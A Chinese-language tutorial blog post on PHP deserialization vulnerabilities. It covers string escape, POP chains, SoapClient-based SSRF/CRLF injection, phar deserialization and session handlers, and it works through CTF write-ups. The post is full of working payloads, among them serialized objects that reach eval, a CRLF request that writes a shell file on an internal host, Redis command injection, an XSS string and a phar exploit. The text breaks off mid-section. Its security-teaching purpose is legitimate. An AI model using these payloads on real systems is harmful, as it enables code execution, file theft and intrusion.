马路霸王 發表於 2020-10-6 20:55:00

php反序列化漏洞

<h2 id="前言">前言</h2>
<p>本文总结php的反序列化，有php反序列字符串逃逸，php反序列化pop链构造，php反序列化原生类的利用，phar反序列化，session反序列化，反序列化小技巧，并附带ctf小题来说明，还有php反序列化的预防方法(个人想法)，建议按需查看，如有错误还望斧正。<br>
如非特别说明运行环境为PHP 7.2.33-1+ubuntu18.04.1</p>
<h2 id="为什么要序列化">为什么要序列化？</h2>
<p>序列化可以将对象，类，数组，变量，匿名函数等，转换为字符串，这样用户就方便存储和传输，同时方便恢复使用，对服务器也减轻一定的压力。</p>
<h2 id="序列化基础">序列化基础</h2>
<p>序列化为字符串时候，变量和参数之间用；隔开，同一个变量和参数间用：号隔开，以}作为结尾，具体结构，用以下代码来看下结构</p>
<pre><code>&lt;?php
class Lmg
{
       
        public $name = 'Lmg';
    public $age = 19;
    public $blog = 'https://lmg66.github.io';
}

$lmg1 = new Lmg;
echo serialize($lmg1)."\n";
?&gt;
</code></pre>
<p><img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200922111300960-2115396873.png" alt="" loading="lazy"></p>
<h2 id="序列化属性">序列化属性</h2>
<h3 id="在一个可以序列化的字符串后加其他参数不影响序列化后的结果">在一个可以序列化的字符串后加其他参数不影响序列化后的结果</h3>
<p>如：<br>
测试代码：</p>
<pre><code>&lt;?php
class Lmg
{
       
        public $name = 'Lmg';
    public $age = 19;
    public $blog = 'https://lmg66.github.io';
}

$lmg1 = new Lmg;
echo serialize($lmg1)."\n";
$Lmg2 = serialize($lmg1).'s:4:"blog";s:23:"https://lmg66.github.io";}';
echo $Lmg2."\n";
print_r($lmg1);
print_r(unserialize($Lmg2));
?&gt;
</code></pre>
<p>效果：可以发现，后面加了其他参数并不影响序列化后的结果<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200922114213650-1206882823.png" alt="" loading="lazy"></p>
<h3 id="显示变量长度和实际长度不匹配就会报错在这里在某些情况就会产生字符串逃逸">显示变量长度和实际长度不匹配就会报错，在这里在某些情况就会产生字符串逃逸</h3>
<p>如：<br>
测试代码：</p>
<pre><code>&lt;?php
class Lmg
{
       
        public $name = 'Lmg';
    public $age = 19;
    public $blog = 'https://lmg66.github.io';
}

$lmg4 = 'O:3:"Lmg":3:{s:4:"name";s:3:"Lmg";s:3:"age";i:19;s:4:"blog";s:23:"https://lmg66.github.io";}';
$lmg5 = 'O:3:"Lmg":3:{s:4:"uname";s:3:"Lmg";s:3:"age";i:19;s:4:"blog";s:23:"https://lmg66.github.io";}';
print_r(unserialize($lmg4));
print_r(unserialize($lmg5));
?&gt;
</code></pre>
<p>效果：可以发现我改了变量名name使它的长度和实际4不符，就发生了报错，改其他类似<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200922170058249-984868952.png" alt="" loading="lazy"></p>
<h3 id="反序列常见魔术函数总览可构造pop链">反序列常见魔术函数总览，可构造pop链</h3>
<pre><code>__construct： 当创建类的时候自动调用，也就是构造函数，无返回值
__destruct： 当类实例子销毁时候自动调用，也就是析构函数，无返回值，其不能带参数
__toString：当对象被当做一个字符串使用时调用，比如echo $obj 。
__sleep： 当类的实例被序列化时调用(其返回需要一个数组或者对象，一般返回对象的$this,返回的值被用来做序列化的值，如果不返回，表示序列化失败)
__wakeup: 当反序列化时被调用
__call:当调用对象中不存在的方法会自动调用该方法。
__get:在调用私有属性的时候会自动执行
__isset()在不可访问的属性上调用isset()或empty()触发
__unset()在不可访问的属性上使用unset()时触发
</code></pre>
<h2 id="反序列化字符串逃逸替换后导致字符串变长">反序列化字符串逃逸(替换后导致字符串变长)</h2>
<p>字符串逃逸利用的是反序列化的属性如上文，出现原因是在序列化前进行了字符串的替换，导致字符串被拓冲，可以将后面的字符串挤出去，挤到后一个对象的变量从而改变其他的变量值，造成逃逸。<br>
如：<br>
测试代码：</p>
<pre><code>&lt;?php
function filter($str){
    return str_replace('bb', 'ccc', $str);
}
class A{
    public $name='aaaa';
    public $pass='123456';
}
$AA=new A();
echo serialize($AA)."\n";
$res=filter(serialize($AA));
$c=unserialize($res);
echo $c-&gt;pass;
?&gt;
</code></pre>
<p>序列化后的字符串为：<br>
<code>O:1:"A":2:{s:4:"name";s:4:"aaaa";s:4:"pass";s:6:"123456";}</code><br>
如果能让name变量的参数为<br>
<code>";s:4:"pass";s:6:"hack";}</code><br>
用}号闭合掉后面的pass参数，就能改pass变量的参数值从而逃逸<br>
要解决的就是这个位置的长度问题，只用读取到足够的长度，才会停止<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200922192845965-491410672.png" alt="" loading="lazy"><br>
可以发现在序列化进行了字符串的替换，但替换的时候bb替换成了ccc，也就是字符串变长了，达到我们上面想要的目的<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200922193056940-719149907.png" alt="" loading="lazy"><br>
先判断想要构造的字符串长度</p>
<pre><code>&lt;?php
$lmg = '";s:4:"pass";s:6:"hack";}';
echo strlen($lmg)."\n";
// $lmg3 = "ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";
// echo strlen($lmg3);
// $lmg2 = "bb";
// echo str_repeat($lmg2, 25);
?&gt;
</code></pre>
<p>运行长度为25，一个bb换成ccc，就逃逸1个字符，也就是说需要25个bb才能将后面的字符串给挤出来</p>
<pre><code>&lt;?php
// $lmg = '";s:4:"pass";s:6:"hack";}';
// echo strlen($lmg)."\n";
// $lmg3 = "ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";
// echo strlen($lmg3);
$lmg2 = "bb";
echo str_repeat($lmg2, 25);
?&gt;
</code></pre>
<p>将name变量参数变为25个bb+";s:4:"pass";s:6:"hack";}<br>
测试代码：</p>
<pre><code>&lt;?php
function filter($str){
    return str_replace('bb', 'ccc', $str);
}
class A{
    public $name='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:4:"hack";}';
    public $pass='123456';
}
$AA=new A();
// echo serialize($AA)."\n";
print_r($AA);
$res=filter(serialize($AA));
echo $res."\n";
$c=unserialize($res);
print_r($c);
// echo $c-&gt;pass."\n";
?&gt;
</code></pre>
<p>运行结果：构造完的字符串，反序列化后发现密码被改为了hack，而我们并未直接修改pass的参数，从而实现字符串的逃逸<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200922194257177-2022246066.png" alt="" loading="lazy"></p>
<h3 id="一个ctf例题0ctf-2016piapiapia">一个ctf例题(piapiapia)</h3>
<p>地址：https://buuoj.cn/challenges#piapiapia<br>
打开题目扫描一下发现wwww.zip文件下载，因为本文主要交php反序化就不绕了<br>
发现config.php中又flag，所以要读取文件，在profile.php中发现读取文件的代码</p>
<pre><code>else {
                $profile = unserialize($profile);
                $phone = $profile['phone'];
                $email = $profile['email'];
                $nickname = $profile['nickname'];
                $photo = base64_encode(file_get_contents($profile['photo']));
</code></pre>
<p>如果能让photo为config.php，而这数值来自$profile的反序列化，查看$profile</p>
<pre><code>public function update_profile($username, $new_profile) {
                $username = parent::filter($username);
                $new_profile = parent::filter($new_profile);

                $where = "username = '$username'";
                return parent::update($this-&gt;table, 'profile', $new_profile, $where);
        }
</code></pre>
<p>发现有过滤</p>
<pre><code>public function filter($string) {
                $escape = array('\'', '\\\\');
                $escape = '/' . implode('|', $escape) . '/';
                $string = preg_replace($escape, '_', $string);

                $safe = array('select', 'insert', 'update', 'delete', 'where');
                $safe = '/' . implode('|', $safe) . '/i';
                return preg_replace($safe, 'hacker', $string);
        }
</code></pre>
<p>要进行字符串的逃逸应该先考虑用nickname来构造字符串逃逸photo应为nickname在其前面<br>
然后发现nickname有正则过滤，考虑用数组来进行绕过</p>
<pre><code>if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) &gt; 10)
                        die('Invalid nickname');
</code></pre>
<p>数组绕过后就考虑进行逃逸将photo挤出去<br>
所以我们需要构造nickname的参数值为";}s:5:"photo";s:10:"config.php";}<br>
这里为什么要在前面加一个}呢？？？，因为为了绕过nickname的正则匹配我们将其构造成了数组，数组在反序列化要进行闭合，可以尝试一下<br>
构造代码</p>
<pre><code>&lt;?php
function filter($str){
    return str_replace('bb', 'ccc', $str);
}
class A{
    public $name='aaaa';
    public $pass='123456';
    public $nickname = array('a' =&gt; 'Apple' ,'b' =&gt; 'banana' , 'c' =&gt; 'Coconut');
}
$AA=new A();
echo serialize($AA)."\n";
// $res=filter(serialize($AA));
// $c=unserialize($res);
// echo $c-&gt;pass;
?&gt;
</code></pre>
<p>运行结果发现数组位置进行了闭合<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200922210058673-93856479.png" alt="" loading="lazy"><br>
这就是为啥上面要先进行}在逃逸<br>
构造我们想要的内容后要进行逃逸，我们发现过滤的时候将where改成了hacker，进行了字符串拓展增建了一个字符串，我们构造的字符串长度为34所以我们要构造34个where进行逃逸<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200922210410865-1029742835.png" alt="" loading="lazy"><br>
然后查看profile.php的图片，base64解码就获得了config.php中的flag<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200922210620867-504181599.png" alt="" loading="lazy"></p>
<h2 id="反序列化字符串逃逸替换后导致字符串变短">反序列化字符串逃逸(替换后导致字符串变短)</h2>
<p>字符串变短的逃逸类似于变长，都是利用了替换字符串导致的可输入变量的改变，从而可以闭合<br>
测试代码：</p>
<pre><code>&lt;?php
function str_rep($string){
        return preg_replace( '/php|test/','', $string);
}

$test['name'] = $_GET['name'];
$test['sign'] = $_GET['sign'];
$test['number'] = '2020';
$temp = str_rep(serialize($test));
printf($temp);
$fake = unserialize($temp);
echo '&lt;br&gt;';
print("name:".$fake['name'].'&lt;br&gt;');
print("sign:".$fake['sign'].'&lt;br&gt;');
print("number:".$fake['number'].'&lt;br&gt;');
?&gt;
</code></pre>
<p>发现进行了过滤，将php和test转换为空<br>
如果我们在name的参数中输入php，test等，就换转换为空，那么就会把后面的数据当成变量<br>
而sign的参数是可控的，如果当name参数为空而读取到sign可控参数前，那么就可以通过sign的参数控制字符串用}号来闭合掉后面的<br>
计算";s:4:"sign";s:51:"的长度为19<br>
而过滤php一个能吞掉3个字符串，所以我们要输入7个php也就是吞掉21长度，而后面是19长度，所以我们加2个字符来补充<br>
所以构造</p>
<pre><code>name=phpphpphpphpphpphpphp
sign=12";s:4:"sign";s:3:"sjj";s:6:"number";s:4:"2222";}
</code></pre>
<p>其中sign中12为补充使其为21长度，"号用于闭合name参数，然后可以发现，number不可变变量被改变<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200924203951628-1819259586.png" alt="" loading="lazy"></p>
<h3 id="一个ctf例题安洵杯-2019easy_serialize_php">一个ctf例题([安洵杯 2019]easy_serialize_php)</h3>
<p>题目地址:https://buuoj.cn/challenges#[%E5%AE%89%E6%B4%B5%E6%9D%AF%202019]easy_serialize_php<br>
打开题目是一段代码</p>
<pre><code> &lt;?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '&lt;a href="index.php?f=highlight_file"&gt;source_code&lt;/a&gt;';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}
</code></pre>
<p><img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200924211211958-219968749.png" alt="" loading="lazy"><br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200924211229815-264788816.png" alt="" loading="lazy"><br>
先看看phpinfo中的数据,提示在d0g3_f1ag.php文件中<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200924211649187-660421493.png" alt="" loading="lazy"></p>
<pre><code>&lt;?php
$_SESSION["user"]='123';
$_SESSION["function"]='123';
$_SESSION["img"]='123';
$Lmg = serialize($_SESSION);
echo $Lmg."\n";
?&gt;
</code></pre>
<p>先构造代码尝试运行结果<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200924214052947-134430351.png" alt="" loading="lazy"><br>
和上面原理一样要将吞掉，长度为23<br>
<code>";s:8:"function";s:75:"</code><br>
为什么s:后是75因为s后的长度必然大于10(也就是function传入数据的长度)所以我们只要大于10小于100都行，因为数据长度不可能大于100<br>
而flag换成空格吞掉4个字符串，所以要6个flag(当然也可以8个php:3*8=24)，然后还有在function参数加一个字符串来满足吞24个字符串<br>
所以构造数字1也就是满足24长度加的，img变量要base64，因为实际的img参数被我们给挤出去了，所说<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200924224929021-1891546787.png" alt="" loading="lazy">这里不影响<br>
payload（post传输）：<br>
<code>_SESSION=flagflagflagflagflagflag&amp;_SESSION=1";s:8:"function";s:7:"1234567";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}</code><br>
然后查看显示，查看源代码：<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200924225200709-153029352.png" alt="" loading="lazy"><br>
将img参数读取的文件改为/d0g3_fllllllag的base64加密<br>
payload：<br>
<code>_SESSION=flagflagflagflagflagflag&amp;_SESSION=1";s:8:"function";s:7:"1234567";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}</code><br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200924225409219-360514152.png" alt="" loading="lazy"></p>
<h2 id="反序列化pop链构造">反序列化pop链构造</h2>
<p>有时遇见魔法方法中没有利用代码，即不存在命令执行文件操作函数，可以通过调用其他类方法和魔法函数来达到目的<br>
反序列化想构造的出的方法<br>
命令执行：exec()、passthru()、popen()、system()<br>
文件操作：file_put_contents()、file_get_contents()、unlink()</p>
<h3 id="实例">实例</h3>
<p>代码:</p>
<pre><code>&lt;?php
class lemon {
        protected $ClassObj;
        function __construct() {
                $this-&gt;ClassObj = new normal();
        }
        function __destruct() {
                $this-&gt;ClassObj-&gt;action();
        }
}
class normal {
        function action() {
                echo "hello";
        }
}
class evil {
        private $data;
        function action() {
                eval($this-&gt;data);
        }
}
unserialize($_GET['d']);
?&gt;
</code></pre>
<p>lemon类创建了正常normal类，然后销毁时执行了action()方法，很正常，但如果让其调用evil类，销毁时候就会调用evil的action()方法出现eval方法，就能达到效果，所以需要构造</p>
<pre><code>&lt;?php
class lemon {
        protected $ClassObj;
        function __construct() {
                $this-&gt;ClassObj = new evil();
        }
}
class evil {
        private $data = "phpinfo();";
}
$lmg = new lemon();
echo urlencode(serialize($lmg))."\n";
?&gt;
</code></pre>
<p>evil中data参数为私有属性，在序列化时会出现不可复制字符，需进行url编码<br>
<code>O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D</code><br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200927153604582-845945106.png" alt="" loading="lazy"><br>
其中phpinfo();可换成其他想要执行的命令system('dir');等等</p>
<h2 id="php反序列化原生类利用">php反序列化原生类利用</h2>
<p>反序列没有合适的利用链，需要利用php自带的原生类</p>
<h3 id="__call方法">__call方法</h3>
<p>__call方法在调用不存在类的方法时触发<br>
PHP代码：</p>
<pre><code>&lt;?php
$rce = unserialize($_GET['u']);
echo $rce-&gt;notexist();
echo $rce;
?&gt;
</code></pre>
<p>通过unserialize进行反序列化，调用不存在notextist()类，将触发__call()魔法函数。<br>
php中原生类soapClient，存在可以进行__call魔法函数。<br>
SOAP是webService三要素（SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration)）之一：WSDL 用来描述如何访问具体的接口， UDDI用来管理，分发，查询webService ，SOAP（简单对象访问协议）是连接或Web服务或客户端和Web服务之间的接口。<br>
其采用HTTP作为底层通讯协议，XML作为数据传送的格式。<br>
php中的SoapClient类可以创建soap数据报文，与wsdl接口进行交互。<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200927155959566-237943540.png" alt="" loading="lazy"><br>
其中option可以定义 User-Agent<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200927160209083-335649546.png" alt="" loading="lazy"><br>
payload：</p>
<pre><code>&lt;?php
$rce = unserialize($_GET['u']);
echo $rce-&gt;notexist();
echo $rce;
?&gt;
</code></pre>
<p><strong>注意</strong>：要开启soap，在php.ini中去除extension=php_soap.dll之前的“;” ，重启服务<br>
payload：</p>
<pre><code>&lt;?php
$lmg = serialize(new SoapClient(null, array('uri'=&gt;'http://192.168.124.133:8888/','location'=&gt;'http://192.168.124.133:8888/aaa/')));
echo $lmg;
?&gt;
</code></pre>
<p>地址换成自己服务器地址<br>
我是用虚拟机ubantu开启的端口<br>
nc -l 8888<br>
执行：<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200927161939935-1257746304.png" alt="" loading="lazy"><br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200927161952269-1391510017.png" alt="" loading="lazy"><br>
当然我们也可以传数据进行CRLF，攻击内网服务，注入redis命令，因为可定义user_agent<br>
payload：</p>
<pre><code>&lt;?php
        $lmg = serialize(new SoapClient(null, array('uri'=&gt;'http://192.168.124.133:8888/','location'=&gt;'http://192.168.124.133:8888/aaa/')));
        // echo $lmg."\n";
        $poc = "CONFIG SET dir /root/";
        $target = "http://192.168.124.133:8888/";
        $content = "Content-Length:45\r\n\r\ndata=abc";
        $b = new SoapClient(null, array('location'=&gt;$target, 'user_agent'=&gt;$content, 'uri'=&gt;'hello^^'.$poc.'^^hello'));
        $aaa = serialize($b);
        $aaa = str_replace('^^', "\n\r", $aaa);
        echo $aaa."\n";
        echo urlencode($aaa)."\n";
?&gt;
</code></pre>
<p><img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200927162629163-454279675.png" alt="" loading="lazy"><br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200927162740509-671647130.png" alt="" loading="lazy"><br>
内网中写shell：<br>
内网中test.php</p>
<pre><code>&lt;?php
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
        echo 'hi';
        @$a=$_POST;
        @eval($a);

}
?&gt;
</code></pre>
<p>可以利用反序列化，CRLF内网攻击写shell，反序列化位置</p>
<pre><code>&lt;?php
$rce = unserialize($_GET['u']);
echo $rce-&gt;notexist();
echo $rce;
?&gt;
</code></pre>
<p>payload：</p>
<pre><code>&lt;?php
$target = 'http://127.0.0.1/CTF/test.php';
$post_string = '1=file_put_contents("shell.php", "&lt;?php phpinfo();?&gt;");';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: '
    );
$b = new SoapClient(null,array('location' =&gt; $target,'user_agent'=&gt;'hello^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      =&gt; "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&amp;','%26',$aaa);

echo urlencode($aaa);
$c=unserialize(urldecode($aaa));
// $c-&gt;ss();
?&gt;
</code></pre>
<p><img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200927170314692-1883985318.png" alt="" loading="lazy"></p>
成功被写入shell.php
<h3 id="__tostring原生类利用">__toString原生类利用</h3>
<p>测试代码：</p>
<pre><code>&lt;?php
        echo unserialize($_GET['u']);

?&gt;
</code></pre>
<p>利用payload：</p>
<pre><code>&lt;?php
        echo urlencode(serialize(new Exception("&lt;script&gt;alert(1)&lt;/script&gt;")));
?&gt;
</code></pre>
<p>exception类对于错误消息没有经过编码，直接输出到了网页，便可以造成xss<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200927171054412-358443761.png" alt="" loading="lazy"></p>
<h2 id="phar反序列化">phar反序列化</h2>
<p>来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式，可以在不使用php函数unserialize()的前提下，引起严重的php对象注入漏洞。<br>
这个新的攻击方式被他公开在了美国的BlackHat会议演讲上，演讲主题为：”不为人所知的php反序列化漏洞”。它可以使攻击者将相关漏洞的严重程度升级为远程代码执行。我们在RIPS代码分析引擎中添加了对这种新型攻击的检测。</p>
<h3 id="原理">原理</h3>
<p>phar文件结构</p>
<ul>
<li>a stub<br>
文件格式标准，格式为xxx   前面内容不限，但必须以__HALT_COMPILER();?&gt;，否则无法识别是不是phar文件，其中xxx可以用作绕过文件上传的检测</li>
<li>a manifest describing the contents<br>
phar本质是一种压缩文件，压缩文件的权限，属性等信息所存放的位置，以序列的化的方法存储用户自定义的meta-data，在使用phar://伪协议时会反序列化这部分，漏洞产生的原因就在这里<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200930174733007-1757231718.png" alt="" loading="lazy"></li>
<li>the file contents<br>
被压缩文件的内容</li>
<li> a signature for verifying Phar integrity (phar file format only)<br>
签名，文件末尾，格式：<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200930175531929-1087693981.png" alt="" loading="lazy"><br>
phar://伪协议介绍<br>
这个参数是php解压压缩包的一个函数，不管什么，都会当做压缩包来解压<br>
测试：<br>
要将php.ini中的phar.readonly选项设置为off，不然没法生成phar文件<br>
用来包含某个文件，构建类TestObject，然后析构函数结束时打印data数据</li>
</ul>
<pre><code>&lt;?php
class TestObject{
    function __destruct()
    {
      echo $this -&gt; data;   // TODO: Implement __destruct() method.
    }
}

include($_GET['Lmg']);
?&gt;
</code></pre>
<p>生成phar文件，且定义的meta-data的序列化</p>
<pre><code>&lt;?php
    class TestObject {

    }
    $phar = new Phar('phar.phar');
    $phar -&gt; startBuffering();
    $phar -&gt; setStub('&lt;?php __HALT_COMPILER();?&gt;');   //设置stub，增加gif文件头
    $phar -&gt;addFromString('test.txt','test');//添加要压缩的文件
    $object = new TestObject();
    $object -&gt; data = 'Lmg';
    $phar -&gt; setMetadata($object);//将自定义meta-data存入manifest
    $phar -&gt; stopBuffering();
?&gt;
</code></pre>
<p>运行生成文件为phar的文件<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200930181025522-1948637676.png" alt="" loading="lazy"><br>
在真实情况，需要上传到目标服务器，然后利用phar在解压时会反序化meta-data部分来达到目的，这里就直接直接包含了，打印了Lmg字符串<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200930181221760-484286590.png" alt="" loading="lazy"><br>
受影响的函数<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200930192154228-395202151.png" alt="" loading="lazy"><br>
利用条件：</p>
<ul>
<li>phar文件要能上传</li>
<li>有可利用函数如上图，可魔法函数构造pop链</li>
<li>文件函数操作可控，: / phar 等没过被过滤</li>
</ul>
<h3 id="一个ctf例子ciscn2019-华北赛区-day1-web1dropbox">一个ctf例子(Dropbox)</h3>
<p>题目地址:https://buuoj.cn/challenges#Dropbox<br>
打开页面发现是一个注册于登录页面,注册登录发现是个类似网盘的功能，初始时在登录和注册页面尝试sql注入发现不行，然后在下载功能尝试下载发现登录和注册位置对数据库操作进行了prepare()的预处理，网盘有个下载功能，尝试下载，尝试任意下载，抓包，将下载内容改为源码（有index.php class.php upload.php download.php login.php register.php），为啥要加../../呢？？前期我也不知道，看了别人题解发现，下载源码发现download.php，限制了切换了目录，同时没法下载其他目录，这就是后来为啥要用delete功能来phar://，那个位置没有进行目录的切换，然后想尝试文件上传来getshell，首先上传时进行了后缀判读，而且我们不知道上传后了路径，所以考虑其他方法<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200930190921137-1414950660.png" alt="" loading="lazy"><br>
<img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200930191138315-1451407015.png" alt="" loading="lazy"><br>
查看delete.php，new file()其用了delete()函数，到class.php中查看detele()使用unlink()来删除，而unlink()函数是phar反序列化受影响函数，那么下面我们想要的就是构造就是打开显示flag.txt文件，为啥flag在flag.txt中我就不知道了，可能ctf选手直觉，有点玄学了，如果你知道可以评论告诉我感谢，继续，在class.php中发现close()中File类file_get_contents(),但是没法调用，然后发现user类中的析构函数调用了close类，如果我们令$db=new File();的化，但是虽然我们打开了文件，但是没用回显，所以还是看不见文件内容，所以要构造其他的pop链，然后发现FileList()中存在魔法函数_call,如果调用了不存在的函数就会执行，call函数的作用:</p>
<pre><code> public function __call($func, $args) {
      array_push($this-&gt;funcs, $func);      //如果调用了不存在的方法，将改方法放到funcs数组中
      foreach ($this-&gt;files as $file) {   //再从files数组中取出方法，利用这个元素去调用funcs中新增的func
            $this-&gt;results[$file-&gt;name()][$func] = $file-&gt;$func();//因为调用了不存在的键值close(),所以func=close,所以$file-&gt;$func相当于调用close()函数
      }
    }
</code></pre>
<p>而close函数打开$this-&gt;filename文件，所以我们构造File中的filename=./flag.txt就能打开该文件，而且该文件的内容存储到了results数组键值中，然后我们查看<br>
File类中的析构函数，发现:</p>
<pre><code>foreach ($this-&gt;results as $filename =&gt; $result) {
            $table .= '&lt;tr&gt;';
            foreach ($result as $func =&gt; $value) {
                $table .= '&lt;td class="text-center"&gt;' . htmlentities($value) . '&lt;/td&gt;';
            }
</code></pre>
<p>这里对result的键值进行了输出，所以就能得到flag.txt中的内容<br>
最后payload:</p>
<pre><code>&lt;?php
class User {
    public $db;
}
class File {
    public $filename;
}
class FileList {
    private $files;
    public function __construct() {
            $file = new File();
      $file-&gt;filename = "/flag.txt"; //构造filename让其打开该文件
      $this-&gt;files = array($file);
    }
}

// $a = new User();
// $a-&gt;db = new FileList(); //这里让FileList调用了不存在函数close()函数

$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar-&gt;startBuffering();

$phar-&gt;setStub('GIF89a'.'&lt;?php __HALT_COMPILER();?&gt;'); //设置stub

$o = new User();
$o-&gt;db = new FileList(); //这里让FileList调用了不存在函数close()函数

$phar-&gt;setMetadata($o); //将自定义的meta-data存入manifest
$phar-&gt;addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar-&gt;stopBuffering();
?&gt;
</code></pre>
<p><img src="https://img2020.cnblogs.com/blog/2092671/202009/2092671-20200930213801885-1200513330.png" alt="" loading="lazy"></p>
<h2 id="php反序列化session反序列化">php反序列化Session反序列化</h2>
<h3 id="session在互联网起到的作用">session在互联网起到的作用</h3>
<p>session用于跟踪用户的行为，保存用户的信息和状态等等<br>
session当用户第一次访问网站时，session_start()函数就会创建唯一的sessionid，通过HTTP响应将sessionid保存到用户的cookie中。同时在服务器创建一个sessionid命名的文件，用于保存这个用户的会话信息。当用户再次访问这个网站时，也会通过http请求将cookie中保存的session再次携带，但是服务器不会再创建同名文件，而是硬盘中寻找sessionid的同名文件，且将其读取出来。<br>
服务器session_start()函数作用<br>
当会话开始或通过session_start()开始时，php内部会通过传来的sessionid来读取文件，php会自动序列化sessio文件内容，并将其填充到超全局变量$_SESSION中。如果不存在对应的会话数据，则创建一个sessionid的文件。如果用户为发送sessionid，则创建一个由32个字母组成的phpsessionid，并返回set-cookie</p>
<h3 id="session配置和phpsession反序列化原理">session配置和phpsession反序列化原理</h3>
<h4 id="phpini中的session配置">php.ini中的session配置</h4>
<p><img src="https://img2020.cnblogs.com/blog/2092671/202010/2092671-20201003220132690-1340767724.png" alt="" loading="lazy"><br>
因为我使用的是phpstudy搭建的环境所以路径比较奇怪<br>
常见的存储位置</p>
<pre><code>/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED
</code></pre>
<h4 id="session反序列化原理">session反序列化原理</h4>
<p>session的存储机制<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202010/2092671-20201003220702308-1763394414.png" alt="" loading="lazy"><br>
测试代码：</p>
<pre><code>&lt;?php
//ini_set('session.serialize_handler', 'php');
//ini_set("session.serialize_handler", "php_serialize");
ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['Lmg'] = $_GET['a'];
echo "&lt;pre&gt;";
var_dump($_SESSION);
echo "&lt;/pre&gt;";
?&gt;
</code></pre>
<p>分别注释查看不同机制的保存方式，我们分别?a=123查看</p>
<ul>
<li>Lmg|s:3:"123";                     ----------------ini_set('session.serialize_handler', 'php');   php机制</li>
<li>a:1:{s:3:"Lmg";s:3:"123";}         ----------------ini_set("session.serialize_handler", "php_serialize");   php_serialize机制</li>
<li>Lmgs:3:"123";                  -----------------ini_set("session.serialize_handler", "php_binary");      php_binary机制<br>
产生session反序列的原因就在程序员在读取或者存储中使用了不同的机制，我们以php_serialize格式来存储，用php机制来读取<br>
测试代码：<br>
存储session代码：</li>
</ul>
<pre><code>&lt;?php
//ini_set('session.serialize_handler', 'php');
ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['Lmg'] = $_GET['a'];
echo "&lt;pre&gt;";
var_dump($_SESSION);
echo "&lt;/pre&gt;";
?&gt;
</code></pre>
<p>读取session代码：</p>
